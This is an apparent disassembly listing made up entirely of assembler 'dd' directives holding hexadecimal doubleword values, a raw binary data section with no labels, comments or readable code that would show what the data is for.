		dd 0DCD6852Eh, 47016290h, 0C56F26DEh, 7C072A5Ah, 0E8C47287h
		dd 5DDF5082h, 0B0FE88C2h, 5038D6FAh, 189C476Dh,	0AF9C41ADh
		dd 9312307Ch, 0E06CA8CAh, 30C5B6BDh, 0E0107927h, 0EA018FFDh
		dd 4802FC1Fh, 0BC70D43Bh, 0E8730194h, 27644796h, 3C4204F0h
		dd 66B6C5h, 6D457C69h, 0E801CEEAh, 60AB21A4h, 542C70C5h
		dd 77205F03h, 80B84C6Dh, 0FD185804h, 7218EF8Bh,	323A485Dh
		dd 9E64216h, 44D61CDCh,	0AD0DF0B0h, 0BCCC91FCh,	0CAD6CD17h
		dd 0E424264Ch, 140A6A00h, 2FA6FDBh, 3E2DBCAFh, 58FC82C5h
		dd 0CF08BF3Fh, 0FEA054C8h, 0E420F3B4h, 9135803Bh, 6197C52Dh
		dd 427ED540h, 0D02D158Ch, 0CBC67440h, 6301E22Fh, 8856A068h
		dd 0F5650145h, 0B6BE602Fh, 92FCE170h, 0F8E0A910h, 853C2547h
		dd 769878C1h, 14960984h, 4B085C43h, 2309D8DBh, 96F4600Eh
		dd 89914E59h, 9A49E07Ch, 34FE0BCh, 8A7F9EC9h, 0C85E5Eh
		dd 3DF6177Bh, 0DB015F87h, 6A5A213Ch, 40D6F4E4h,	0C4B89C38h
		dd 0ABCDCE41h, 0D67C3020h, 0C01D7C47h, 53B73E10h, 4D1D718Dh
		dd 127E6D8h, 97A1158Ch,	8FB3081h, 0C5C58F1Fh, 0D06C2420h
		dd 4D504402h, 0C12FA0C7h, 60C499C0h, 0A70F01B1h, 32D2A56Dh
		dd 9490307Ch, 2E0DA440h, 64CCFC88h, 5F88B2FDh, 8080415h
		dd 1DBA194h, 0B13EABF6h, 8D16FC63h, 787F9F2Ch, 1553C301h
		dd 904C9C57h, 65B70B35h, 0E4616358h, 1CC22A70h,	4A405872h
		dd 68AC823Bh, 47844071h, 68A80CD2h, 4502513Ch, 0AFBB948Ch
		dd 15436800h, 0CD14818h
		dd 4D27178h, 94769246h,	0E228C2D3h, 0F56C2482h,	71EFC06Ch
		dd 84612AF8h, 3192E348h, 0F9E04767h, 0C1FB54E7h, 204C80ECh
		dd 21097414h, 862F47h, 0EA97FD28h, 0E40CB828h, 3C8E046Bh
		dd 0AF6454E5h, 7B18D403h, 4D2EB0A7h, 0F2470BC3h, 3C92EF9Fh
		dd 5F5BF460h, 98CF48h, 2CCBC138h, 901068C5h, 7827B53Ch
		dd 5ADC80B1h, 0EDF0827Bh, 76202090h, 240D15E6h,	0C58DCF5h
		dd 42F0940Bh, 0AAF13CA0h, 0DA134E20h, 0B0B161ECh, 3424BFF9h
		dd 0D5DB16C7h, 0BCE401B6h, 61EA6A7Fh, 0EE1E8584h, 0D8C16B32h
		dd 706ED6E9h, 0F46FD824h, 788CD34Bh, 7DC51525h,	1B06A07Ch
		dd 988A518Dh, 80023604h, 0A4B843D9h, 0B5BA3900h, 0CC47957Dh
		dd 59844297h, 0AA8589C0h, 94FB9005h, 4BD8B36Ch,	0DBB554C1h
		dd 0F4103445h, 15CF0610h, 48B3BBh, 3DD8DD4Ch, 0A9C9598Dh
		dd 7F6D0F00h, 98F10BDEh, 0E8940CFDh, 6A813D47h,	606C109Dh
		dd 8C15161Dh, 1CE490ADh, 0AC01D177h, 0B7F0FB1Fh, 0FFF09EFAh
		dd 2506000Ah, 5EE99FCCh, 4800D355h, 0C9B77DE6h,	0CFF6BA94h
		dd 0BB2C2D98h, 4C04DA48h, 0E4BF8A81h, 554814C2h, 73626012h
		dd 2784A410h, 0B0B4767Ch, 0E49F89CFh, 0C9492850h, 7CF74190h
		dd 1ACD3E50h, 7430EE68h, 0E86A1A20h, 0BF12B0F6h, 24C1909h
		dd 0EA71CBB8h, 4489C0h,	0FC521718h, 6D2F01C1h, 0CA5FA680h
		dd 786C20CCh, 0AF338600h, 22645265h, 3D147A3Bh,	6019680h
		dd 0EE4A605Bh, 2C752F6Ch, 175B40E0h, 30995848h,	6E4465A8h
		dd 0C8829425h, 3904B34h, 3D2F2973h, 71A846B3h, 4914ED48h
		dd 3D08FB70h, 0C7158C85h, 1328F8C2h, 0A28FCEC5h, 478500FCh
		dd 86EC4669h, 4BC4B0CDh, 13AC88ADh, 0EBE860B2h,	28F6343Ch
		dd 0BF4AF45Dh, 0C3544C02h, 80D85EDCh, 0C2217C16h, 8306D8BDh
		dd 80D90390h, 6C1F7408h, 0FB181042h, 84FF21CEh,	0C88068A3h
		dd 0DE5AA8h, 388C9A24h,	16F9B3EAh, 90133Eh, 0CA73F308h
		dd 32C841h, 9ABABDC1h, 0A8270739h, 0EC1A801Fh, 8F540Bh
		dd 11D6C0D3h, 0C1430306h, 0B94907CDh, 67D481A4h, 1609F4C4h
		dd 48B47530h, 7C7F3AC7h, 8E9A0065h, 0F1B3E987h,	0D23C8145h
		dd 72700082h, 831F2EF9h, 10FE0330h, 0EE1E80B0h,	0C8C268E1h
		dd 3E98779Ah, 9B3AB378h, 66C10170h, 0BB8432C0h,	160A50BCh
		dd 8C2B0Dh, 0E4D3F1D4h,	5979B2BCh, 7721AF0Fh, 0D6D58072h
		dd 173CAC91h, 0C68E19Dh, 3E40BDB9h, 3AEE190Fh, 6DBB8395h
		dd 0BA3E004Fh, 9AC3EF48h, 98A124F6h, 7CE8B846h,	1F92200Ch
		dd 63A40E3h, 0BF10E1ADh, 3C661093h, 14606A48h, 84AF2E3Eh
		dd 8332037Ch, 0D99EB5AEh, 0FBA2C8F8h, 0F383F0DFh, 120C295h
		dd 0A5D770C0h, 85AEC416h, 0A7F29138h, 6CBA3440h, 0AB36D97h
		dd 0A5F668E5h, 0C342180h, 0A8D9C21Bh, 78CDC92Bh, 1036F386h
		dd 0A0C15490h, 0AF18003Ch, 9ACDD142h, 18C3DDA7h, 0EC43EFh
		dd 84D0BD20h, 1DF495F7h, 291060C3h, 115003D2h, 0A83035F9h
		dd 34C1F80Eh, 91696085h, 1C17FD15h, 41FF41BBh, 0B9BE6B33h
		dd 9A1C2063h, 1694D706h, 71502757h, 0FF913E5Fh,	55533380h
		dd 8687911h, 6AE61BFEh,	0A04890CCh, 3E63143Ah, 9A087830h
		dd 0F90091E7h, 0FDCFEE38h, 12F67436h, 10C2168h,	4C3717Ch
		dd 16784017h, 40C046EFh, 0C5871BB8h, 0F8FE00FFh, 504113Eh
		dd 320097AAh, 4FF1BB50h, 28343603h, 0D9410Ah, 68822FC2h
		dd 67D7929Dh, 13C0EE05h, 8147569h, 0E1CD8028h, 4C9C66BCh
		dd 0E91C46B1h, 0E84983CEh, 80A61D16h, 0FAAAC800h, 0F2FE293Eh
		dd 0DA9C00DCh, 74686686h, 5F0F836Bh, 1FFCA8D9h,	40780868h
		dd 970BBC01h, 0F8CE1086h, 18058440h, 908F3876h,	0D3A3680h
		dd 68A794A5h, 0B160C09h, 7B0C242Ch, 0D4406494h,	1D6851EDh
		dd 3E94A017h, 0C9CF0F96h, 0D687B6AAh, 0A5EFE164h, 65420C1h
		dd 273CE8EEh, 17747CA6h, 8010CAAh, 25DEE88Ch, 0C28BF0A4h
		dd 71A8D10Fh, 3B6822CDh, 10C080C1h, 3627247h, 0B5A0BEC0h
		dd 97A7C6E1h, 0D669D36Dh, 2628A854h, 8A5DF06h, 74B9CFDEh
		dd 1F64929Ah, 2FE34E3h,	0DE3716F2h, 0E772A881h,	48826A5h
		dd 96616902h, 10169492h, 0A0408A9Ah, 54FC0141h,	133D5EDBh
		dd 2458A856h, 38478D95h, 13E698Bh, 0B04F4180h, 0E55018A7h
		dd 0B5483CB4h, 25C280F8h, 6DFCCDh, 6C71A0B1h, 912D8762h
		dd 79DAFE04h, 78C5D064h, 0D8773407h, 8D9ACE50h,	4088C0D7h
		dd 71286F16h, 0AAD0B41Eh, 116EFE0Ch, 5B0202C6h,	0F8AFCD91h
		dd 0E1467448h, 0C54C8890h, 77487C40h, 27EC4598h, 9AB86170h
		dd 10926BFFh, 0B0A4115Ah, 2E6D100Ch, 7102B228h,	0A39AF234h
		dd 0B0786242h, 61861014h, 3F0D6065h, 2E508819h,	0FF90FBFh
		dd 0C3880C5Eh, 0CB04210h, 0B76D3AF0h, 242430D9h, 495D6010h
		dd 0BE6AF5FEh, 0B2931B1Fh, 16FAFF42h, 68306877h, 4060A171h
		dd 4192EDF9h, 3408056Eh, 10D01ECEh, 0B361D9Ah, 30AA6C4Ch
		dd 3090FDh, 0C8428232h,	1A16F03Eh, 2A749958h, 0F2142C69h
		dd 2483636Bh, 200940Eh,	0A88F7556h, 0FEC33CF0h,	6078F198h
		dd 5E04B86Bh, 0AF0CFD45h, 0BDF088h, 10058FE1h, 68847174h
		dd 0A4904176h, 8B09D9E2h, 0A08616F4h, 5E3ABA70h, 70102A72h
		dd 60820680h, 98A6F616h, 0D16BBA1Ch, 69211D41h,	94249473h
		dd 0CFA4841h, 4B1CBA05h, 800080C4h, 1E28018Eh, 28C0A369h
		dd 0F71123CDh, 0B41300FDh, 87201B43h, 0B1D35EEh, 4400753Bh
		dd 854DF20Ch, 0B98100A9h, 0BB61732Fh, 0C102D9DDh, 0A5AF72FBh
		dd 499C403Ch, 0DBC307F2h, 31D56584h, 0DCEE15C1h, 0A0903CF8h
		dd 0C4848h, 14FD865Eh, 170241B1h, 1864E327h, 5A6C08F5h
		dd 3368AB0Dh, 0EC41A087h, 1B00FAB1h, 8C18C315h,	32BA46FDh
		dd 0CC9985h, 68AF09FEh,	0A4A2482Ah, 98FAFCA4h, 0AC499AE8h
		dd 0FCA900DCh, 0C1304B8h, 0B6233192h, 17E0E21h,	3C220140h
		dd 0F924EC00h, 0C4F3C8D8h, 0B5A79B00h, 0B3036D7h, 0C94B991h
		dd 6A30D38Ah, 0A2E1016h, 65057053h, 0C0873C90h,	17AE2F63h
		dd 1D0FF369h, 1260A890h, 0DD00634h, 20C01F5Eh, 0C5031100h
		dd 939ADA81h, 0C8305415h, 0D9791FDBh, 0E0F00CFBh, 0BE02F640h
		dd 0F7690B2Ch, 2F586898h, 13527218h, 958E2D5h, 0CC087CC0h
		dd 2B3CE19Ch, 0B70AFCB5h, 789C89D0h, 1073CC30h,	994143Dh
		dd 2ED1B81h, 45B6880Eh,	0C1B77040h, 40800D38h, 689171B8h
		dd 0C01B6530h, 540B2D95h, 0C0DF14C2h, 0DB8F6411h, 0E21CD2B0h
		dd 680E1EDh, 9AC9804Bh,	3F0C9ABAh, 0DE0715A8h, 0CEADB5DCh
		dd 2C802389h, 746904C0h, 0AA88F524h, 9A864824h,	2387B8Bh
		dd 0E0AD1316h, 5C413607h, 0EE94E041h, 0C8739200h, 0CDB14682h
		dd 93A92E1Bh, 5F40BC0Ch, 65106F09h, 0E2B00072h,	0BF6478h
		dd 0DBCE9569h, 0E49A68F3h, 84998B9h, 0D04AA414h, 792508h
		dd 201740F1h, 6E737AE8h, 3EFBA414h, 43964B4h, 18F6C8C8h
		dd 18363C16h, 8949D2C3h, 70F81E5Ch, 4C41387Bh, 4BC8060h
		dd 5963DEAh, 0E016EF4Dh, 0BBA80203h, 104AB49Ah,	60C24062h
		dd 704C9C4Ch, 48C0527Ch, 813220FCh, 21B0722Ch, 676FF1D8h
		dd 80DCD73Eh, 3E7BA093h, 0E7042B18h, 0A820D731h, 0B8D70F7Eh
		dd 2AD110Ch, 76F424D0h,	16260498h, 6E985CABh, 0D3706910h
		dd 35A07208h, 44AFD8A9h, 26EF7E00h, 0EA2E48A8h,	3450D4BFh
		dd 3069986Bh, 0A10ADD6h, 2C143CF7h, 2CE08EB5h, 1006A4E2h
		dd 8020339Bh, 57D14FCh
		dd 728ED8D5h, 0EC9DD7h,	8A6616F0h, 0C50C5C90h, 90D0149Ah
		dd 3F872468h, 8F761D60h, 954F24A2h, 0C0FA9060h,	93766C32h
		dd 0CEF3A600h, 0DD690612h, 9824B2C6h, 1D4807ACh, 19A89ABCh
		dd 0F5C1301Bh, 82D04720h, 0B898730Dh, 91046DEFh, 0A4A2FC1Fh
		dd 47CAE081h, 2C5880A1h, 0DD3100D0h, 0BEE9AC7h,	0E17F3200h
		dd 16C9DA99h, 28376FFDh, 685E0FFFh, 0C3DD4787h,	1879E0D1h
		dd 89029601h, 0FAC0E124h, 8456EE1h, 410AA044h, 2CBE78CCh
		dd 47A0BF68h, 0F4F0B01Ah, 0A675E8CDh, 0ADC94407h, 6520E0BBh
		dd 887867h, 0C414A021h,	25E26D99h, 15FAA700h, 0BCC03370h
		dd 0CC3B018Eh, 8199BEE0h, 3F187031h, 0C0E81670h, 0A4E78201h
		dd 0AE2B3DFAh, 2FE83081h, 0D90FE0B4h, 0C10802Eh, 31F11A80h
		dd 18BD004Eh, 0F6AE5FCh, 20C13334h, 0AFEBE90Bh,	0B1155086h
		dd 0D70748CEh, 0D4CBA4D6h, 0ED35FC81h, 608A67F0h, 0F3D2892h
		dd 0EC0F9A1Ah, 7729FB6h, 0F950481Fh, 8C99B3h, 0F8A72610h
		dd 0C496676Eh, 47B268C1h, 68C0CCD8h, 48E460E2h,	1767BD6Eh
		dd 1109EBEAh, 41DEF52h,	0FAE1F22h, 8FE0C8B1h, 0ED98B237h
		dd 181DFFF8h, 3AFE5FCCh, 7A3809Fh, 0C6064816h, 0B5C33199h
		dd 0F9B88F68h, 0F9C43E3h, 26076AB0h, 75170400h,	0CDF98777h
		dd 0C00C1C38h, 18B0AAFBh, 287B520Fh, 0ECF0D4A7h, 3E699914h
		dd 0C84701B8h, 85401ACCh, 0CE0C99Eh, 728C433h, 80E9EC90h
		dd 6F69BCD0h, 31E4CBBEh, 0E3388FCEh, 2608A9Ch, 0A4398439h
		dd 3000094h, 0CACBC416h, 5814B804h, 0E8339C0Bh,	34BB0F49h
		dd 0BA983040h, 9E8040h,	15A4AE71h, 0BCC10B5Bh, 0E66D3Ch
		dd 6F74EF68h, 603A911Ah, 0E0AC69ADh, 0A60169B7h, 3FC65D7Ch
		dd 61B0ED18h, 3E42A4A6h, 1B086700h, 3BF681E8h, 47AE2815h
		dd 0CA0C9A0h, 0B3F46607h, 380FDC88h, 40C79D67h,	217FF892h
		dd 8B3117EFh, 0CF910010h, 0B7D60F6Dh, 7D3380C3h, 18C6CBC0h
		dd 404137B0h, 0E5007BD3h, 6BAE013Ch, 1AF879BFh,	98769867h
		dd 7E319CC0h, 3B8452EBh, 7C676C40h, 6210C660h, 0A071BB0Fh
		dd 158A39D4h, 68E15615h, 7B0F6B06h, 3122069h, 9C021B48h
		dd 5E897DDh, 0D9802217h, 3CD9C85h, 8F4867D4h, 0CF05811Eh
		dd 1199970Ch, 3FCE3ECDh, 40B0CCA4h, 19226808h, 9459A706h
		dd 8081E376h, 760935CCh, 70B76099h, 0BD0FE5A7h,	5907A60h
		dd 5ED133Eh, 71E0BC2Fh,	0A88C41CEh, 40670759h, 664FB130h
		dd 640E2498h, 611F4880h, 3FF0ED1Eh, 4CFE36D0h, 981F1E17h
		dd 0AE8409Bh, 2FC70DC0h, 0FD2CCC50h, 8FB61009h,	0B1C033F4h
		dd 0D9A8B90Bh, 15F10AE8h, 9FEC3BE6h, 64B38C94h,	7D070AF0h
		dd 0F92711Ch, 0F40A6C6h, 83A8D1A7h, 288B8CAh, 3A3E6746h
		dd 2D3D8482h, 7E996081h, 98055D3h, 940031F8h, 0ABC1D5C8h
		dd 6C52C378h, 80353DF0h, 0CCB051CEh, 3F43EE05h,	0DC80E044h
		dd 89A27367h, 44B8E19Fh, 8851E33h, 0FB7BE068h, 0A7BF03E0h
		dd 46500FE9h, 0EF557800h, 7BFDC545h, 4907F8B3h,	0F054849Dh
		dd 10F7629Eh, 40806A31h, 45CEDD3Fh, 9913E890h, 0C000EB56h
		dd 950F64E2h, 6759C231h, 7C6998BFh, 3744028h, 0F1608C68h
		dd 926F6C18h, 152CA0C3h, 28F6602Fh, 0FA3F841Dh,	0DB2A6703h
		dd 0EA82E76Fh, 301864C1h, 0B9C1DF0Fh, 2509A8F9h, 733A4DEh
		dd 10093F44h, 96E6958h,	30415C4h, 0B8EFC00h, 0EC0165E3h
		dd 0FE4C0AFh, 0A307FEA0h, 0BDF80C4Ah, 724C17A7h, 0D03B28E4h
		dd 0C6054700h, 0F32F7F31h, 0D080F946h, 0FEC22E30h, 7508BB9h
		dd 6A0EF788h, 54F0946Fh, 0B1067254h, 877157Eh, 1E251F80h
		dd 37BF44A5h, 203C89C4h, 94E8B650h, 0A8059120h,	0B0C0708Ch
		dd 97430092h, 0A98F28E5h, 0DC005D31h, 3DA67AFDh, 0A192312h
		dd 77391EFEh, 0D1678480h, 5F6D00B9h, 0CC64Bh, 6588B1DDh
		dd 0D6677AE7h, 0CA68D148h, 0D128DCF4h, 19FF8480h, 0EFF59200h
		dd 0B79749D8h, 67845C01h, 9C81670Ch, 2A3C3C38h,	0A65B1351h
		dd 0AE2E3842h, 0E1DC618Dh, 907011h, 0C2337DD1h,	835EF68h
		dd 29F8A488h, 5A01410Ch, 0F7183090h, 129C3759h,	94003DB0h
		dd 69C73245h, 4B8007Dh,	0A09D43E9h, 6E2615ACh, 7214049Fh
		dd 0FD331DA4h, 0C7C00024h, 2015F871h, 90120CBBh, 0B844E024h
		dd 70C8A510h, 86AC02B8h, 0F9ABCFA6h, 727AC87h, 23BB597h
		dd 0A1A40FD4h, 9818449h, 495C9C20h, 0F00C6CC8h,	0BB79C945h
		dd 358B3900h, 0BDF80512h, 0B1E09321h, 86BC16A8h, 0A4A91511h
		dd 0B1C71DC8h, 99DA0355h, 200F9EABh, 52DBDFBh, 0D491D44Ch
		dd 0F830BFF2h, 6DDA0796h, 8522BDB0h, 24081366h,	99388048h
		dd 0C8B037B6h, 681F6F1Ch, 6A6217C0h, 143EDE0h, 0A6080761h
		dd 85D95B0Fh, 42EF0590h, 0E0C3A027h, 0D518264Ah, 0C3F04488h
		dd 64C1CE12h, 0A8542175h, 45006056h, 8A2FCC5Bh,	35677CD7h
		dd 47487F2Bh, 0FAD05990h, 55B644A8h, 33587A84h,	24BA2E60h
		dd 754A0C43h, 0F13F40C1h, 9C0F51h, 0CF0636D0h, 9993D51Dh
		dd 0BF98AA98h, 2CB1E4F4h, 49F06481h, 0FFD0020h,	6B00EEB4h
		dd 9A1902B9h, 12994A05h, 0E179115h, 0C8E6B70Ch,	420048D0h
		dd 249E6910h, 8C153Ch, 0AEC11D48h, 9930BCE6h, 28C9EA30h
		dd 387E21Ah, 0EFD8ECDh,	80002AFh, 0B3F63FB4h, 0DCABF9h
		dd 10C565BBh, 16A7B71Dh, 0C95984EAh, 0F8839F0Ch, 12CF04EAh
		dd 982A06Eh, 68802604h,	0F7FEB764h, 0A02B9493h,	0CEF53F01h
		dd 99F46EFCh, 18A16746h, 906F81F7h, 24433F1h, 335AB1C5h
		dd 2C904EE5h, 62747067h, 3704AED5h, 0EF9EFC02h,	1028F080h
		dd 98D670D6h, 0E2A65C00h, 79F709h, 81C19527h, 0B9C96D67h
		dd 0BFA7B101h, 6499C412h, 0B3A59B9h, 1BC05CD8h,	0D77AC6FEh
		dd 47538C0h, 1625D29Ch,	32BEBC68h, 9449FC30h, 67EC24F4h
		dd 4AB66A20h, 80906568h, 7ADF69BCh, 3FC7AA01h, 0F5FD9C1Dh
		dd 18892460h, 389F1167h, 7175C49h, 0C8017EF3h, 0DBB69C8Ch
		dd 0C1B38DD8h, 48081BA1h, 622864EDh, 65F9012h, 146F0C88h
		dd 0A0013F8Dh, 0A66CBA80h, 1E1F8C8Bh, 25183Eh, 0CDD86654h
		dd 0E19C1DA0h, 1A0FD34Eh, 64C34959h, 2CF3102Ah,	86D6300h
		dd 6B31A4EDh, 4D639001h, 681820DCh, 6D69713Ah, 0F151980Eh
		dd 118F83D7h, 48F2C2D8h, 6593678Ch, 74328E0h, 0C388E750h
		dd 1100769Fh, 4DF01030h, 78C9AF07h, 120300D4h, 0D764BA62h
		dd 0D25D7B15h, 0DE20CCh, 1116990Fh, 0FA3DA726h,	0B42FEA16h
		dd 0A395C32h, 82CA1210h, 9FE3FFBCh, 2C466F8Ah, 486CFD20h
		dd 4700149Eh, 65D98ED2h, 19200F69h, 9CE15132h, 0CDE4C8EEh
		dd 98BF5CCEh, 1371684h,	53990B35h, 1803302Ch, 0A383CD8Fh
		dd 0F00A2CE0h, 14511512h, 40BCE814h, 0D8F9BF40h, 92146804h
		dd 7B90B301h, 70892B00h, 84B7C381h, 8F7E37h, 14335BDAh
		dd 346AE924h, 0F55FC1E1h, 215CE404h, 0E2FFD03Dh, 348C51Eh
		dd 4437E389h, 0A30F0E04h, 88FFD82Fh, 7D6C295Eh,	2C8B3A24h
		dd 0E9848330h, 20C3F5EAh, 672A2568h, 90577245h,	678D4601h
		dd 8B6CE91Bh, 557D3C1Ch, 63917098h, 5781CE67h, 0DBF941ECh
		dd 730990Ch, 0E6686D58h, 4663DB0Ch, 9812CBC1h, 0E9595410h
		dd 12536066h, 2385B850h, 986D523Dh, 5B54FC22h, 0C1BF0F57h
		dd 1A06F45h, 0ED815FF9h, 0AE728503h, 0C2CD297Ah, 590880C5h
		dd 0C32140E9h, 5EF30152h, 0EB81C398h, 0B41790Ch, 4970C18h
		dd 561A5164h, 8D7C80BEh
		dd 0D666F737h, 7C74DE05h, 6EB26086h, 117AEDC7h,	0FE31750Eh
		dd 60420CE9h, 67C2EC53h, 0C189A8EBh, 51CA015Dh,	4815981h
		dd 0C203CA5Fh, 357DFE9h, 0CFF660Eh, 40229C24h, 0F4E177CDh
		dd 5A22CF46h, 0C39C4A6h, 0AFEE8107h, 8981070Dh,	0A2F95EF7h
		dd 0BADC98D6h, 0E36000BEh, 6C28139h, 0D8A0932Bh, 0FE805E19h
		dd 5316EEC5h, 580AD4D8h, 0F50EC81h, 54451C89h, 0B89105Bh
		dd 19BB9540h, 4040DB10h, 0BE168066h, 650F23D7h,	0F756304Eh
		dd 0F6815E82h, 500A571Eh, 0E20DE9C6h, 99B8006Ah, 89545177h
		dd 5EC058C3h, 8B65984h,	8BF01229h, 5B4C3134h, 0D01106DFh
		dd 8CD55307h, 28F8C618h, 4E928B66h, 3449547Bh, 52530788h
		dd 7793ADB6h, 0AC120767h, 92D7B151h, 10343BCh, 6B7CB9EEh
		dd 12A90EA9h, 0A73A54A1h, 4A844C00h, 205F8953h,	541C8B28h
		dd 0E251527Ah, 0CB4C07B5h, 9E879F06h, 41A65C55h, 8BD55CBh
		dd 5DEB2801h, 870981A9h, 0E95C2883h, 12019369h,	0E580AFB5h
		dd 0F6B08308h, 8A32E94Bh, 0D5F720C7h, 0F581DD21h, 0E15F8630h
		dd 0AB6FEDFCh, 8610F1D7h, 0F2EC5BC9h, 0BBD804Ch, 3C6D5002h
		dd 4007EDC1h, 326F209Eh, 0FEF2D5BEh, 4E3C10Fh, 0FC81DBF7h
		dd 92808C0Fh, 4C4DE5E9h, 9C6650BDh, 234CCAEh, 0EF03D1BEh
		dd 0A783313Eh, 89494F6Eh, 5E2C073Ah, 7D43BB7h, 0C8B4491h
		dd 403F2534h, 0CE77888Eh, 0E849F33h, 3BCDE947h,	0EAF79853h
		dd 0E3744B06h, 7F77502Eh, 49584132h, 3CF6FC00h,	0E7EF37CAh
		dd 2B215D92h, 1C06E6B9h, 0C292EBEEh, 0B890C6E0h, 0A4051840h
		dd 0D02D53CBh, 5D49827Ah, 44E54CB8h, 8B58E0C2h,	265F4614h
		dd 607509E5h, 0F4252FB8h, 0E11F05F4h, 0DC01C3Ah, 41EE3508h
		dd 0E9D039F7h, 649AD333h, 5002CA12h, 8F247773h,	0EE234E9Dh
		dd 5569E512h, 68188606h, 0E2BF1023h, 1A480171h,	0E5300404h
		dd 24897941h, 5FBE8900h, 6B510109h, 2964E681h, 0DC41F219h
		dd 40FEFC61h, 68418C3h,	0C6C097F3h, 48F2784Fh, 4D05642Ch
		dd 1319B366h, 52760F6h,	0AD247538h, 0E904E839h,	0CE99D4CEh
		dd 0BB539750h, 0F45702B5h, 1F71E978h, 57BFE0A7h, 6947471Bh
		dd 0BCEEB483h, 17C10A0Fh, 0F819933Ah, 5F03E910h, 59CE89F0h
		dd 0BBEE14C1h, 16EB55D6h, 5CE9459Eh, 0A45C558Fh, 0F356159Fh
		dd 0CDE6B71Dh, 926F1FFh, 0CB83E7F0h, 5158B50Fh,	0CDFE20B5h
		dd 3880DDF6h, 0E82CE0F5h, 7397082Ch, 0B40FE328h, 6649AB77h
		dd 13168C10h, 327C0A68h, 41A2BBA7h, 5E012817h, 0C7E030FFh
		dd 2172D2CAh, 61E58960h, 6F292363h, 74FF850Ch, 936AFF14h
		dd 0A0C82A64h, 28879AC0h, 60C0D689h, 0AFB81E6Ah, 3558693Bh
		dd 47EE7C80h, 2C646B92h, 98D585F7h, 5B2E3A2Ah, 4629CA2Fh
		dd 91327C0Ch, 12ED453Dh, 1A243109h, 26939954h, 9153299Bh
		dd 87917CACh, 0D3CF9518h, 0C5E65DE8h, 4901583Eh, 83878C3Ch
		dd 66C7D67Ch, 0AE8A073Fh, 6139932h, 5450470Bh, 9BF70758h
		dd 8130D240h, 142113EFh, 7EA94368h, 1E06A44h, 7F60E9F8h
		dd 66582C9Bh, 63A2B15Bh, 36C814B3h, 2C74D828h, 2C3E1DB3h
		dd 31314BC9h, 6E82D7F7h, 163A718Fh, 520F6041h, 0DE0C14A1h
		dd 66348018h, 9FC3801Bh, 0F0F27606h, 150EAEBh, 0D8F6CBB0h
		dd 61286A04h, 1C30C7B3h, 5351267Ah, 20B398B3h, 817578F1h
		dd 2F09FB76h, 88CB2924h, 692C51CBh, 0CA0BE70Ah,	0BA52DE83h
		dd 5DDDA946h, 0B2DAD7F4h, 0BEF30790h, 0B525753Bh, 408A42D3h
		dd 0E4C9E0C1h, 9A42A845h, 882F1620h, 2C04C988h,	20C86614h
		dd 495A2CA8h, 913CA80Dh, 3E8E8DE8h, 176C76ACh, 8F504074h
		dd 6851815Ah, 0BE333775h, 81CAE912h, 0DC50536Ch, 0ED33AF5h
		dd 5DEEC760h, 1D149087h, 0E6EB295Ch, 2593E21Ah,	2B95101h
		dd 0B8CBF148h, 0A6C700ECh, 0E912AC47h, 1CD61CAAh, 0E0BFB38h
		dd 36840FC0h, 1C772558h, 326D52C0h, 48312E8Fh, 5936B54Ch
		dd 5AAED841h, 7DB06816h, 3E8AC235h, 0A1CE909h, 0DEF7D422h
		dd 916CE860h, 0C986D126h, 4D1C9826h, 0EC834960h, 5A5C5A24h
		dd 816C6A9h, 43B990C7h,	8381AA44h, 0D72059CAh, 290BA951h
		dd 9AADE9ECh, 536817ACh, 9CD86674h, 68F8278Bh, 0F1240FA4h
		dd 0E9848F5Eh, 0CB8C1035h, 0FD31395Dh, 0C08EF35h, 0EA108794h
		dd 5560C190h, 7A5FBA2Ah, 4A7C00A1h, 5B7DE281h, 2B983DCBh
		dd 833E2104h, 0E904290Fh, 68CCD062h, 9C9406C8h,	0F95C5860h
		dd 0CA44C767h, 7F0BF3B8h, 5EFBF2B0h, 0C30C80E5h, 77125839h
		dd 0FED34C01h, 245A0840h, 0AC556668h, 0C3295013h, 53644199h
		dd 7D01E9C9h, 66005934h, 0A962CD3h, 3AC7B808h, 9197C1Eh
		dd 828B212Dh, 32FDFC00h, 0B9983133h, 3EBC7009h,	0B0DB03DBh
		dd 5949313Dh, 21CD3F4h,	3E5F44BBh, 9D1AD901h, 0D3C9A153h
		dd 90A7BE5Dh, 0FE0048BEh, 0C0D6F6C6h, 807306EEh, 0F5082C01h
		dd 72B2525Ah, 305FEAE4h, 0A50AC2FEh, 56668DE9h,	6CD4333Ah
		dd 5C0D0631h, 754CFE4Bh, 0B5AD74Dh, 2168FB29h, 0F8489893h
		dd 54027835h, 3FE96E9Dh, 73EC473h, 89CC01C1h, 7790C3B9h
		dd 386BE748h, 0C4D8261Ah, 7BA47C24h, 6881191Fh,	0AE93188h
		dd 2F250875h, 915873ECh, 0E1B5B944h, 0E97C325Eh, 82048711h
		dd 9150A2C1h, 0FDF72924h, 5E6A0502h, 0A65D5947h, 0C6DE09B0h
		dd 5E6AAF64h, 0DB00471Bh, 812F067Dh, 676604E3h,	80433ED3h
		dd 0AD46472Ch, 5431B424h, 0E9065F2Ch, 1C824B63h, 9EE1F680h
		dd 0EE6995DEh, 8B429062h, 0A002E7A9h, 0F91B3008h, 756215EDh
		dd 12FB518Ah, 82B0378Bh, 0F64573B4h, 687ED9A0h,	0C806775Ch
		dd 4031A883h, 7599870Ah, 871E104h, 41F769C2h, 0BD8E362Eh
		dd 9FE5F031h, 562C4933h, 0FEE2B0B9h, 0BB255DACh, 6E566602h
		dd 64D83114h, 494A889h,	28F8046h, 0C65327EEh, 0F22A7FEDh
		dd 772EBFD9h, 8ECA003Ch, 0B10D280Bh, 7D012C5Eh,	6001027Fh
		dd 54EB6845h, 2AE95812h, 7A9221D2h, 0EC7C2CEFh,	67F59082h
		dd 1BA668A2h, 472D335h,	0F461A536h, 6E00DC67h, 172D2996h
		dd 3134B342h, 0E904D0F7h, 8096544Fh, 1D46F23Dh,	96C8220h
		dd 3CEB07CDh, 380FF381h, 0CFE820DBh, 0F28F8760h, 0FFD74B5h
		dd 5A595290h, 0B220DDCBh, 5B3A14BAh, 88241D7Ah,	51959576h
		dd 27F7D5F3h, 5C3C84F8h, 7EA3F2C8h, 52193F32h, 2602BAFEh
		dd 6A575C31h, 6858C02Bh, 4DB30509h, 0C92036A8h,	0EFC02678h
		dd 0AAF70920h, 98F84D08h, 5AD14583h, 79B2C8E0h,	81E0E910h
		dd 0F2015D0Fh, 0A0EF5706h, 0C54931FAh, 17CA28C1h, 0FE52B820h
		dd 581FC022h, 8702C783h, 28243C2Eh, 52757551h, 0A32AA502h
